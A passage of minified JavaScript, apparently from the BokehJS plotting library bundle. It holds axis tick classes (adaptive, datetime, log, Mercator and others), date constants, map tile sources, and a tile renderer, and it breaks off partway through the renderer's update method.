t=v.nth(this.mantissas,-1)/this.base,e=v.nth(this.mantissas,0)*this.base;this.extended_mantissas=[t].concat(this.mantissas,[e]),this.base_factor=0===this.get_min_interval()?1:this.get_min_interval()},t.prototype.get_interval=function(t,e,i){var n,r,o,s,a,l=e-t,h=this.get_ideal_interval(t,e,i),u=Math.floor((s=h/this.base_factor,void 0===(a=this.base)&&(a=Math.E),Math.log(s)/Math.log(a))),c=Math.pow(this.base,u)*this.base_factor,_=this.extended_mantissas,p=_.map(function(t){return Math.abs(i-l/(t*c))}),d=_[v.argmin(p)],f=d*c;return n=f,r=this.get_min_interval(),o=this.get_max_interval(),Math.max(r,Math.min(o,n))},t}(r.ContinuousTicker);(i.AdaptiveTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(206),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BasicTicker\\\"},t}(r.AdaptiveTicker);(i.BasicTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(219),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTicker\\\"},t.prototype.get_ticks=function(t,e,i,n,r){var o=this._collect(i.factors,i,t,e),s=this._collect(i.tops||[],i,t,e),a=this._collect(i.mids||[],i,t,e);return{major:o,minor:[],tops:s,mids:a}},t.prototype._collect=function(t,e,i,n){for(var r=[],o=0,s=t;o<s.length;o++){var a=s[o],l=e.synthetic(a);i<l&&l<n&&r.push(a)}return r},t}(r.Ticker);(i.CategoricalTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),c=t(21),_=t(32),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CompositeTicker\\\",this.define({tickers:[o.Array,[]]})},Object.defineProperty(t.prototype,\\\"min_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_min_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_max_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.min_intervals[0]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.max_intervals[0]},enumerable:!0,configurable:!0}),t.prototype.get_best_ticker=function(t,e,i){var n,r=e-t,o=this.get_ideal_interval(t,e,i),s=[c.sortedIndex(this.min_intervals,o)-1,c.sortedIndex(this.max_intervals,o)],a=[this.min_intervals[s[0]],this.max_intervals[s[1]]],l=a.map(function(t){return Math.abs(i-r/t)});if(_.isEmpty(l.filter(function(t){return!isNaN(t)})))n=this.tickers[0];else{var h=c.argmin(l),u=s[h];n=this.tickers[u]}return n},t.prototype.get_interval=function(t,e,i){var n=this.get_best_ticker(t,e,i);return n.get_interval(t,e,i)},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r=this.get_best_ticker(t,e,n);return r.get_ticks_no_defaults(t,e,i,n)},t}(r.ContinuousTicker);(i.CompositeTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(219),o=t(15),x=t(21),w=t(44),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousTicker\\\",this.define({num_minor_ticks:[o.Number,5],desired_num_ticks:[o.Number,6]})},t.prototype.get_ticks=function(t,e,i,n,r){return this.get_ticks_no_defaults(t,e,n,this.desired_num_ticks)},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=this.get_interval(e,i,n),o=Math.floor(e/r),s=Math.ceil(i/r),a=(w.isStrictNaN(o)||w.isStrictNaN(s)?[]:x.range(o,s+1)).map(function(t){return t*r}).filter(function(t){return e<=t&&t<=i}),l=this.num_minor_ticks,h=[];if(0<l&&0<a.length){for(var u=r/l,c=x.range(0,l).map(function(t){return t*u}),_=0,p=c.slice(1);_<p.length;_++){var d=p[_],f=a[0]-d;e<=f&&f<=i&&h.push(f)}for(var v=0,m=a;v<m.length;v++)for(var g=m[v],y=0,b=c;y<b.length;y++){var d=b[y],f=g+d;e<=f&&f<=i&&h.push(f)}}return{major:a,minor:h}},t.prototype.get_min_interval=function(){return this.min_interval},t.prototype.get_max_interval=function(){return null!=this.max_interval?this.max_interval:1/0},t.prototype.get_ideal_interval=function(t,e,i){var n=e-t;return n/i},t}(r.Ticker);(i.ContinuousTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(21),o=t(206),s=t(209),a=t(212),l=t(217),h=t(221),u=t(220),c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeTicker\\\",this.override({num_minor_ticks:0,tickers:function(){return[new o.AdaptiveTicker({mantissas:[1,2,5],base:10,min_interval:0,max_interval:500*u.ONE_MILLI,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,5,10,15,20,30],base:60,min_interval:u.ONE_SECOND,max_interval:30*u.ONE_MINUTE,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,4,6,8,12],base:24,min_interval:u.ONE_HOUR,max_interval:12*u.ONE_HOUR,num_minor_ticks:0}),new a.DaysTicker({days:r.range(1,32)}),new a.DaysTicker({days:r.range(1,31,3)}),new a.DaysTicker({days:[1,8,15,22]}),new a.DaysTicker({days:[1,15]}),new l.MonthsTicker({months:r.range(0,12,1)}),new l.MonthsTicker({months:r.range(0,12,2)}),new l.MonthsTicker({months:r.range(0,12,4)}),new l.MonthsTicker({months:r.range(0,12,6)}),new h.YearsTicker({})]}})},t}(s.CompositeTicker);(i.DatetimeTicker=c).initClass()},function(t,e,i){var n=t(391),r=t(218),u=t(220),o=t(15),c=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DaysTicker\\\",this.define({days:[o.Array,[]]}),this.override({num_minor_ticks:0})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.days;1<t.length?this.interval=(t[1]-t[0])*u.ONE_DAY:this.interval=31*u.ONE_DAY},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=u.last_month_no_later_than(new Date(t)),n=u.last_month_no_later_than(new Date(e));n.setUTCMonth(n.getUTCMonth()+1);for(var r=[],o=i;r.push(u.copy_date(o)),o.setUTCMonth(o.getUTCMonth()+1),!(n<o););return r}(e,i),h=this.days,o=this.interval,s=c.concat(r.map(function(t){return function(t,e){for(var i=t.getUTCMonth(),n=[],r=0,o=h;r<o.length;r++){var s=o[r],a=u.copy_date(t);a.setUTCDate(s);var l=new Date(a.getTime()+e/2);l.getUTCMonth()==i&&n.push(a)}return n}(t,o)})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.DaysTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(i){function t(t){var e=i.call(this,t)||this;return e.min_interval=0,e.max_interval=0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FixedTicker\\\",this.define({ticks:[o.Array,[]],minor_ticks:[o.Array,[]]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){return{major:this.ticks,minor:this.minor_ticks}},t.prototype.get_interval=function(t,e,i){return 0},t}(r.ContinuousTicker);(i.FixedTicker=s).initClass()},function(t,e,i){var n=t(206);i.AdaptiveTicker=n.AdaptiveTicker;var r=t(207);i.BasicTicker=r.BasicTicker;var o=t(208);i.CategoricalTicker=o.CategoricalTicker;var s=t(209);i.CompositeTicker=s.CompositeTicker;var a=t(210);i.ContinuousTicker=a.ContinuousTicker;var l=t(211);i.DatetimeTicker=l.DatetimeTicker;var h=t(212);i.DaysTicker=h.DaysTicker;var u=t(213);i.FixedTicker=u.FixedTicker;var c=t(215);i.LogTicker=c.LogTicker;var _=t(216);i.MercatorTicker=_.MercatorTicker;var p=t(217);i.MonthsTicker=p.MonthsTicker;var d=t(218);i.SingleIntervalTicker=d.SingleIntervalTicker;var f=t(219);i.Ticker=f.Ticker;var v=t(221);i.YearsTicker=v.YearsTicker},function(t,e,i){var n=t(391),r=t(206),N=t(21),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTicker\\\",this.override({mantissas:[1,5]})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r,o=this.num_minor_ticks,s=[],a=this.base,l=Math.log(e)/Math.log(a),h=Math.log(i)/Math.log(a),u=h-l;if(isFinite(u))if(u<2){var c=this.get_interval(e,i,n),_=Math.floor(e/c),p=Math.ceil(i/c);if(r=N.range(_,p+1).filter(function(t){return 0!=t}).map(function(t){return t*c}).filter(function(t){return e<=t&&t<=i}),0<o&&0<r.length){for(var d=c/o,f=N.range(0,o).map(function(t){return t*d}),v=0,m=f.slice(1);v<m.length;v++){var g=m[v];s.push(r[0]-g)}for(var y=0,b=r;y<b.length;y++)for(var x=b[y],w=0,k=f;w<k.length;w++){var g=k[w];s.push(x+g)}}}else{var S=Math.ceil(.999999*l),C=Math.floor(1.000001*h),T=Math.ceil((C-S)/9);if(r=N.range(S-1,C+1,T).map(function(t){return Math.pow(a,t)}),0<o&&0<r.length){for(var A=Math.pow(a,T)/o,f=N.range(1,o+1).map(function(t){return t*A}),E=0,M=f;E<M.length;E++){var g=M[E];s.push(r[0]/g)}s.push(r[0]);for(var O=0,z=r;O<z.length;O++)for(var x=z[O],P=0,j=f;P<j.length;P++){var g=j[P];s.push(x*g)}}}else r=[];return{major:r.filter(function(t){return e<=t&&t<=i}),minor:s.filter(function(t){return e<=t&&t<=i})}},t}(r.AdaptiveTicker);(i.LogTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(207),o=t(15),M=t(33),s=function(E){function t(t){return E.call(this,t)||this}return n.__extends(t,E),t.initClass=function(){this.prototype.type=\\\"MercatorTicker\\\",this.define({dimension:[o.LatLon]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r,o,s,a,l,h,u,c;if(null==this.dimension)throw new Error(\\\"MercatorTicker.dimension not configured\\\");r=M.clip_mercator(t,e,this.dimension),t=r[0],e=r[1],\\\"lon\\\"===this.dimension?(o=M.wgs84_mercator.inverse([t,i]),h=o[0],c=o[1],s=M.wgs84_mercator.inverse([e,i]),u=s[0],c=s[1]):(a=M.wgs84_mercator.inverse([i,t]),c=a[0],h=a[1],l=M.wgs84_mercator.inverse([i,e]),c=l[0],u=l[1]);var _=E.prototype.get_ticks_no_defaults.call(this,h,u,i,n),p=[],d=[];if(\\\"lon\\\"===this.dimension){for(var f=0,v=_.major;f<v.length;f++){var m=v[f];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];p.push(g)}}for(var y=0,b=_.minor;y<b.length;y++){var m=b[y];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];d.push(g)}}}else{for(var x=0,w=_.major;x<w.length;x++){var m=w[x];if(M.in_bounds(m,\\\"lat\\\")){var k=M.wgs84_mercator.forward([c,m]),S=k[1];p.push(S)}}for(var C=0,T=_.minor;C<T.length;C++){var m=T[C];if(M.in_bounds(m,\\\"lat\\\")){var A=M.wgs84_mercator.forward([c,m]),S=A[1];d.push(S)}}}return{major:p,minor:d}},t}(r.BasicTicker);(i.MercatorTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(218),h=t(220),o=t(15),u=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MonthsTicker\\\",this.define({months:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.months;1<t.length?this.interval=(t[1]-t[0])*h.ONE_MONTH:this.interval=12*h.ONE_MONTH},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=h.last_year_no_later_than(new Date(t)),n=h.last_year_no_later_than(new Date(e));n.setUTCFullYear(n.getUTCFullYear()+1);for(var r=[],o=i;r.push(h.copy_date(o)),o.setUTCFullYear(o.getUTCFullYear()+1),!(n<o););return r}(e,i),o=this.months,s=u.concat(r.map(function(i){return o.map(function(t){var e=h.copy_date(i);return e.setUTCMonth(t),e})})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.MonthsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SingleIntervalTicker\\\",this.define({interval:[o.Number]})},t.prototype.get_interval=function(t,e,i){return this.interval},Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),t}(r.ContinuousTicker);(i.SingleIntervalTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ticker\\\"},t}(r.Model);(i.Ticker=o).initClass()},function(t,e,i){function n(t){return new Date(t.getTime())}function r(t){var e=n(t);return e.setUTCDate(1),e.setUTCHours(0),e.setUTCMinutes(0),e.setUTCSeconds(0),e.setUTCMilliseconds(0),e}i.ONE_MILLI=1,i.ONE_SECOND=1e3,i.ONE_MINUTE=60*i.ONE_SECOND,i.ONE_HOUR=60*i.ONE_MINUTE,i.ONE_DAY=24*i.ONE_HOUR,i.ONE_MONTH=30*i.ONE_DAY,i.ONE_YEAR=365*i.ONE_DAY,i.copy_date=n,i.last_month_no_later_than=r,i.last_year_no_later_than=function(t){var e=r(t);return e.setUTCMonth(0),e}},function(t,e,i){var n=t(391),r=t(207),o=t(218),h=t(220),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"YearsTicker\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.interval=h.ONE_YEAR,this.basic_ticker=new r.BasicTicker({num_minor_ticks:0})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=h.last_year_no_later_than(new Date(e)).getUTCFullYear(),o=h.last_year_no_later_than(new Date(i)).getUTCFullYear(),s=this.basic_ticker.get_ticks_no_defaults(r,o,t,n).major,a=s.map(function(t){return Date.UTC(t,0,1)}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(o.SingleIntervalTicker);(i.YearsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(225),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BBoxTileSource\\\",this.define({use_latlon:[o.Bool,!1]})},t.prototype.get_image_url=function(t,e,i){var n,r,o,s,a,l,h=this.string_lookup_replace(this.url,this.extra_url_vars);return this.use_latlon?(n=this.get_tile_geographic_bounds(t,e,i),s=n[0],l=n[1],o=n[2],a=n[3]):(r=this.get_tile_meter_bounds(t,e,i),s=r[0],l=r[1],o=r[2],a=r[3]),h.replace(\\\"{XMIN}\\\",s.toString()).replace(\\\"{YMIN}\\\",l.toString()).replace(\\\"{XMAX}\\\",o.toString()).replace(\\\"{YMAX}\\\",a.toString())},t}(r.MercatorTileSource);(i.BBoxTileSource=s).initClass()},function(t,e,i){var n=t(44),r=function(){function t(){this.images=[]}return t.prototype.pop=function(){var t=this.images.pop();return null!=t?t:new Image},t.prototype.push=function(t){var e;50<this.images.length||(n.isArray(t)?(e=this.images).push.apply(e,t):this.images.push(t))},t}();i.ImagePool=r},function(t,e,i){var n=t(222);i.BBoxTileSource=n.BBoxTileSource;var r=t(225);i.MercatorTileSource=r.MercatorTileSource;var o=t(226);i.QUADKEYTileSource=o.QUADKEYTileSource;var s=t(227);i.TileRenderer=s.TileRenderer;var a=t(228);i.TileSource=a.TileSource;var l=t(230);i.TMSTileSource=l.TMSTileSource;var h=t(231);i.WMTSTileSource=h.WMTSTileSource},function(t,e,i){var n=t(391),r=t(228),o=t(15),s=t(21),h=t(229),a=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"MercatorTileSource\\\",this.define({snap_to_zoom:[o.Bool,!1],wrap_around:[o.Bool,!0]}),this.override({x_origin_offset:20037508.34,y_origin_offset:20037508.34,initial_resolution:156543.03392804097})},t.prototype.initialize=function(){var e=this;i.prototype.initialize.call(this),this._resolutions=s.range(this.min_zoom,this.max_zoom+1).map(function(t){return e.get_resolution(t)})},t.prototype._computed_initial_resolution=function(){return null!=this.initial_resolution?this.initial_resolution:2*Math.PI*6378137/this.tile_size},t.prototype.is_valid_tile=function(t,e,i){return!(!this.wrap_around&&(t<0||t>=Math.pow(2,i))||e<0||e>=Math.pow(2,i))},t.prototype.parent_by_tile_xyz=function(t,e,i){var n=this.tile_xyz_to_quadkey(t,e,i),r=n.substring(0,n.length-1);return this.quadkey_to_tile_xyz(r)},t.prototype.get_resolution=function(t){return this._computed_initial_resolution()/Math.pow(2,t)},t.prototype.get_resolution_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e;return[n,r]},t.prototype.get_level_by_extent=function(t,e,i){for(var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=0,a=0,l=this._resolutions;a<l.length;a++){var h=l[a];if(h<o){if(0==s)return 0;if(0<s)return s-1}s+=1}return s-1},t.prototype.get_closest_level_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=this._resolutions.reduce(function(t,e){return Math.abs(e-o)<Math.abs(t-o)?e:t});return this._resolutions.indexOf(s)},t.prototype.snap_to_zoom_level=function(t,e,i,n){var r=t[0],o=t[1],s=t[2],a=t[3],l=this._resolutions[n],h=i*l,u=e*l;if(!this.snap_to_zoom){var c=(s-r)/h,_=(a-o)/u;_<c?(h=s-r,u*=c):(h*=_,u=a-o)}var p=(h-(s-r))/2,d=(u-(a-o))/2;return[r-p,o-d,s+p,a+d]},t.prototype.tms_to_wmts=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.wmts_to_tms=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.pixels_to_meters=function(t,e,i){var n=this.get_resolution(i),r=t*n-this.x_origin_offset,o=e*n-this.y_origin_offset;return[r,o]},t.prototype.meters_to_pixels=function(t,e,i){var n=this.get_resolution(i),r=(t+this.x_origin_offset)/n,o=(e+this.y_origin_offset)/n;return[r,o]},t.prototype.pixels_to_tile=function(t,e){var i=Math.ceil(t/this.tile_size);i=0===i?i:i-1;var n=Math.max(Math.ceil(e/this.tile_size)-1,0);return[i,n]},t.prototype.pixels_to_raster=function(t,e,i){var n=this.tile_size<<i;return[t,n-e]},t.prototype.meters_to_tile=function(t,e,i){var n=this.meters_to_pixels(t,e,i),r=n[0],o=n[1];return this.pixels_to_tile(r,o)},t.prototype.get_tile_meter_bounds=function(t,e,i){var n=this.pixels_to_meters(t*this.tile_size,e*this.tile_size,i),r=n[0],o=n[1],s=this.pixels_to_meters((t+1)*this.tile_size,(e+1)*this.tile_size,i),a=s[0],l=s[1];return[r,o,a,l]},t.prototype.get_tile_geographic_bounds=function(t,e,i){var n=this.get_tile_meter_bounds(t,e,i),r=h.meters_extent_to_geographic(n),o=r[0],s=r[1],a=r[2],l=r[3];return[o,s,a,l]},t.prototype.get_tiles_by_extent=function(t,e,i){void 0===i&&(i=1);var n=t[0],r=t[1],o=t[2],s=t[3],a=this.meters_to_tile(n,r,e),l=a[0],h=a[1],u=this.meters_to_tile(o,s,e),c=u[0],_=u[1];l-=i,h-=i,c+=i;for(var p=[],d=_+=i;h<=d;d--)for(var f=l;f<=c;f++)this.is_valid_tile(f,d,e)&&p.push([f,d,e,this.get_tile_meter_bounds(f,d,e)]);return this.sort_tiles_from_center(p,[l,h,c,_]),p},t.prototype.quadkey_to_tile_xyz=function(t){for(var e=0,i=0,n=t.length,r=n;0<r;r--){var o=t.charAt(n-r),s=1<<r-1;switch(o){case\\\"0\\\":continue;case\\\"1\\\":e|=s;break;case\\\"2\\\":i|=s;break;case\\\"3\\\":e|=s,i|=s;break;default:throw new TypeError(\\\"Invalid Quadkey: \\\"+t)}}return[e,i,n]},t.prototype.tile_xyz_to_quadkey=function(t,e,i){for(var n=\\\"\\\",r=i;0<r;r--){var o=1<<r-1,s=0;0!=(t&o)&&(s+=1),0!=(e&o)&&(s+=2),n+=s.toString()}return n},t.prototype.children_by_tile_xyz=function(t,e,i){for(var n=this.tile_xyz_to_quadkey(t,e,i),r=[],o=0;o<=3;o++){var s=this.quadkey_to_tile_xyz(n+o.toString()),a=s[0],l=s[1],h=s[2],u=this.get_tile_meter_bounds(a,l,h);r.push([a,l,h,u])}return r},t.prototype.get_closest_parent_by_tile_xyz=function(t,e,i){var n,r,o,s=this.calculate_world_x_by_tile_xyz(t,e,i);n=this.normalize_xyz(t,e,i),t=n[0],e=n[1],i=n[2];for(var a=this.tile_xyz_to_quadkey(t,e,i);0<a.length;)if(a=a.substring(0,a.length-1),r=this.quadkey_to_tile_xyz(a),t=r[0],e=r[1],i=r[2],o=this.denormalize_xyz(t,e,i,s),t=o[0],e=o[1],i=o[2],this.tile_xyz_to_key(t,e,i)in this.tiles)return[t,e,i];return[0,0,0]},t.prototype.normalize_xyz=function(t,e,i){if(this.wrap_around){var n=Math.pow(2,i);return[(t%n+n)%n,e,i]}return[t,e,i]},t.prototype.denormalize_xyz=function(t,e,i,n){return[t+n*Math.pow(2,i),e,i]},t.prototype.denormalize_meters=function(t,e,i,n){return[t+2*n*Math.PI*6378137,e]},t.prototype.calculate_world_x_by_tile_xyz=function(t,e,i){return Math.floor(t/Math.pow(2,i))},t}(r.TileSource);(i.MercatorTileSource=a).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"QUADKEYTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2],l=this.tile_xyz_to_quadkey(o,s,a);return n.replace(\\\"{Q}\\\",l)},t}(r.MercatorTileSource);(i.QUADKEYTileSource=o).initClass()},function(t,e,i){var r=t(391),o=t(223),n=t(231),s=t(189),a=t(184),l=t(5),h=t(15),I=t(21),u=t(44),c=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return r.__extends(t,n),t.prototype.initialize=function(t){this.attributionEl=null,this._tiles=[],n.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype.get_extent=function(){return[this.x_range.start,this.y_range.start,this.x_range.end,this.y_range.end]},Object.defineProperty(t.prototype,\\\"map_plot\\\",{get:function(){return this.plot_model.plot},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_canvas\\\",{get:function(){return this.plot_view.canvas_view.ctx},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"map_frame\\\",{get:function(){return this.plot_model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"x_range\\\",{get:function(){return this.map_plot.x_range},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_range\\\",{get:function(){return this.map_plot.y_range},enumerable:!0,configurable:!0}),t.prototype._set_data=function(){this.pool=new o.ImagePool,this.extent=this.get_extent(),this._last_height=void 0,this._last_width=void 0},t.prototype._add_attribution=function(){var t=this.model.tile_source.attribution;if(u.isString(t)&&0<t.length){if(null==this.attributionEl){var e=this.plot_model.canvas._right.value-this.plot_model.frame._right.value,i=this.plot_model.canvas._bottom.value-this.plot_model.frame._bottom.value,n=this.map_frame._width.value;this.attributionEl=l.div({class:\\\"bk-tile-attribution\\\",style:{position:\\\"absolute\\\",bottom:i+\\\"px\\\",right:e+\\\"px\\\",\\\"max-width\\\":n-4+\\\"px\\\",padding:\\\"2px\\\",\\\"background-color\\\":\\\"rgba(255,255,255,0.5)\\\",\\\"font-size\\\":\\\"7pt\\\",\\\"font-family\\\":\\\"sans-serif\\\",\\\"line-height\\\":\\\"1.05\\\",\\\"white-space\\\":\\\"nowrap\\\",overflow:\\\"hidden\\\",\\\"text-overflow\\\":\\\"ellipsis\\\"}});var r=this.plot_view.canvas_view.events_el;r.appendChild(this.attributionEl)}this.attributionEl.innerHTML=t,this.attributionEl.title=this.attributionEl.textContent.replace(/\\\\s*\\\\n\\\\s*/g,\\\" \\\")}},t.prototype._map_data=function(){this.initial_extent=this.get_extent();var t=this.model.tile_source.get_level_by_extent(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value),e=this.model.tile_source.snap_to_zoom_level(this.initial_extent,this.map_frame._height.value,this.map_frame._width.value,t);this.x_range.start=e[0],this.y_range.start=e[1],this.x_range.end=e[2],this.y_range.end=e[3],this.x_range instanceof a.Range1d&&(this.x_range.reset_start=e[0],this.x_range.reset_end=e[2]),this.y_range instanceof a.Range1d&&(this.y_range.reset_start=e[1],this.y_range.reset_end=e[3]),this._add_attribution()},t.prototype._on_tile_load=function(t,e){t.img=e.target,t.loaded=!0,this.request_render()},t.prototype._on_tile_cache_load=function(t,e){t.img=e.target,t.loaded=!0,t.finished=!0,this.notify_finished()},t.prototype._on_tile_error=function(t){t.finished=!0},t.prototype._create_tile=function(t,e,i,n,r){void 0===r&&(r=!1);var o=this.model.tile_source.normalize_xyz(t,e,i),s=o[0],a=o[1],l=o[2],h=this.pool.pop(),u={img:h,tile_coords:[t,e,i],normalized_coords:[s,a,l],quadkey:this.model.tile_source.tile_xyz_to_quadkey(t,e,i),cache_key:this.model.tile_source.tile_xyz_to_key(t,e,i),bounds:n,loaded:!1,finished:!1,x_coord:n[0],y_coord:n[3]};h.onload=r?this._on_tile_cache_load.bind(this,u):this._on_tile_load.bind(this,u),h.onerror=this._on_tile_error.bind(this,u),h.alt=\\\"\\\",h.src=this.model.tile_source.get_image_url(s,a,l),this.model.tile_source.tiles[u.cache_key]=u,this._tiles.push(u)},t.prototype._enforce_aspect_ratio=function(){if(this._last_height!==this.map_frame._height.value||this._last_width!==this.map_frame._width.value){var t=this.get_extent(),e=this.model.tile_source.get_level_by_extent(t,this.map_frame._height.value,this.map_frame._width.value),i=this.model.tile_source.snap_to_zoom_level(t,this.map_frame._height.value,this.map_frame._width.value,e);this.x_range.setv({start:i[0],end:i[2]}),this.y_range.setv({start:i[1],end:i[3]}),this.extent=i,this._last_height=this.map_frame._height.value,this._last_width=this.map_frame._width.value}},t.prototype.has_finished=function(){if(!n.prototype.has_finished.call(this))return!1;if(0===this._tiles.length)return!1;for(var t=0,e=this._tiles;t<e.length;t++){var i=e[t];if(!i.finished)return!1}return!0},t.prototype.render=function(){null==this.map_initialized&&(this._set_data(),this._map_data(),this.map_initialized=!0),this._enforce_aspect_ratio(),this._update(),null!=this.prefetch_timer&&clearTimeout(this.prefetch_timer),this.prefetch_timer=setTimeout(this._prefetch_tiles.bind(this),500),this.has_finished()&&this.notify_finished()},t.prototype._draw_tile=function(t){var e=this.model.tile_source.tiles[t];if(null!=e){var i=this.plot_view.map_to_screen([e.bounds[0]],[e.bounds[3]]),n=i[0][0],r=i[1][0],o=this.plot_view.map_to_screen([e.bounds[2]],[e.bounds[1]]),s=o[0][0],a=o[1][0],l=s-n,h=a-r,u=n,c=r,_=this.map_canvas.getImageSmoothingEnabled();this.map_canvas.setImageSmoothingEnabled(this.model.smoothing),this.map_canvas.drawImage(e.img,u,c,l,h),this.map_canvas.setImageSmoothingEnabled(_),e.finished=!0}},t.prototype._set_rect=function(){var t=this.plot_model.plot.properties.outline_line_width.value(),e=this.map_frame._left.value+t/2,i=this.map_frame._top.value+t/2,n=this.map_frame._width.value-t,r=this.map_frame._height.value-t;this.map_canvas.rect(e,i,n,r),this.map_canvas.clip()},t.prototype._render_tiles=function(t){this.map_canvas.save(),this._set_rect(),this.map_canvas.globalAlpha=this.model.alpha;for(var e=0,i=t;e<i.length;e++){var n=i[e];this._draw_tile(n)}this.map_canvas.restore()},t.prototype._prefetch_tiles=function(){for(var t=this.model.tile_source,e=this.get_extent(),i=this.map_frame._height.value,n=this.map_frame._width.value,r=this.model.tile_source.get_level_by_extent(e,i,n),o=this.model.tile_source.get_tiles_by_extent(e,r),s=0,a=Math.min(10,o.length);s<a;s++)for(var l=o[s],h=l[0],u=l[1],c=l[2],_=this.model.tile_source.children_by_tile_xyz(h,u,c),p=0,d=_;p<d.length;p++){var f=d[p],v=f[0],m=f[1],g=f[2],y=f[3];t.tile_xyz_to_key(v,m,g)in t.tiles||this._create_tile(v,m,g,y,!0)}},t.prototype._fetch_tiles=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=n[2],a=n[3];this._create_tile(r,o,s,a)}},t.prototype._update=function(){var t=this,e=this.model.tile_source,i=e.min_zoom,n=e.max_zoom,r=this.get_extent(),o=this.extent[2]-this.extent[0]<r[2]-r[0],s=this.map_frame._height.value,a=this.map_frame._width.value,l=e.get_level_by_extent(r,s,a),h=!1;l<i?(r=this.extent,l=i,h=!0):n<l&&(r=this.extent,l=n,h=!0),h&&(this.x_range.setv({x_range:{start:r[0],end:r[2]}}),this.y_range.setv({start:r[1],end:r[3]}),this.extent=r),this.extent=r;for(var 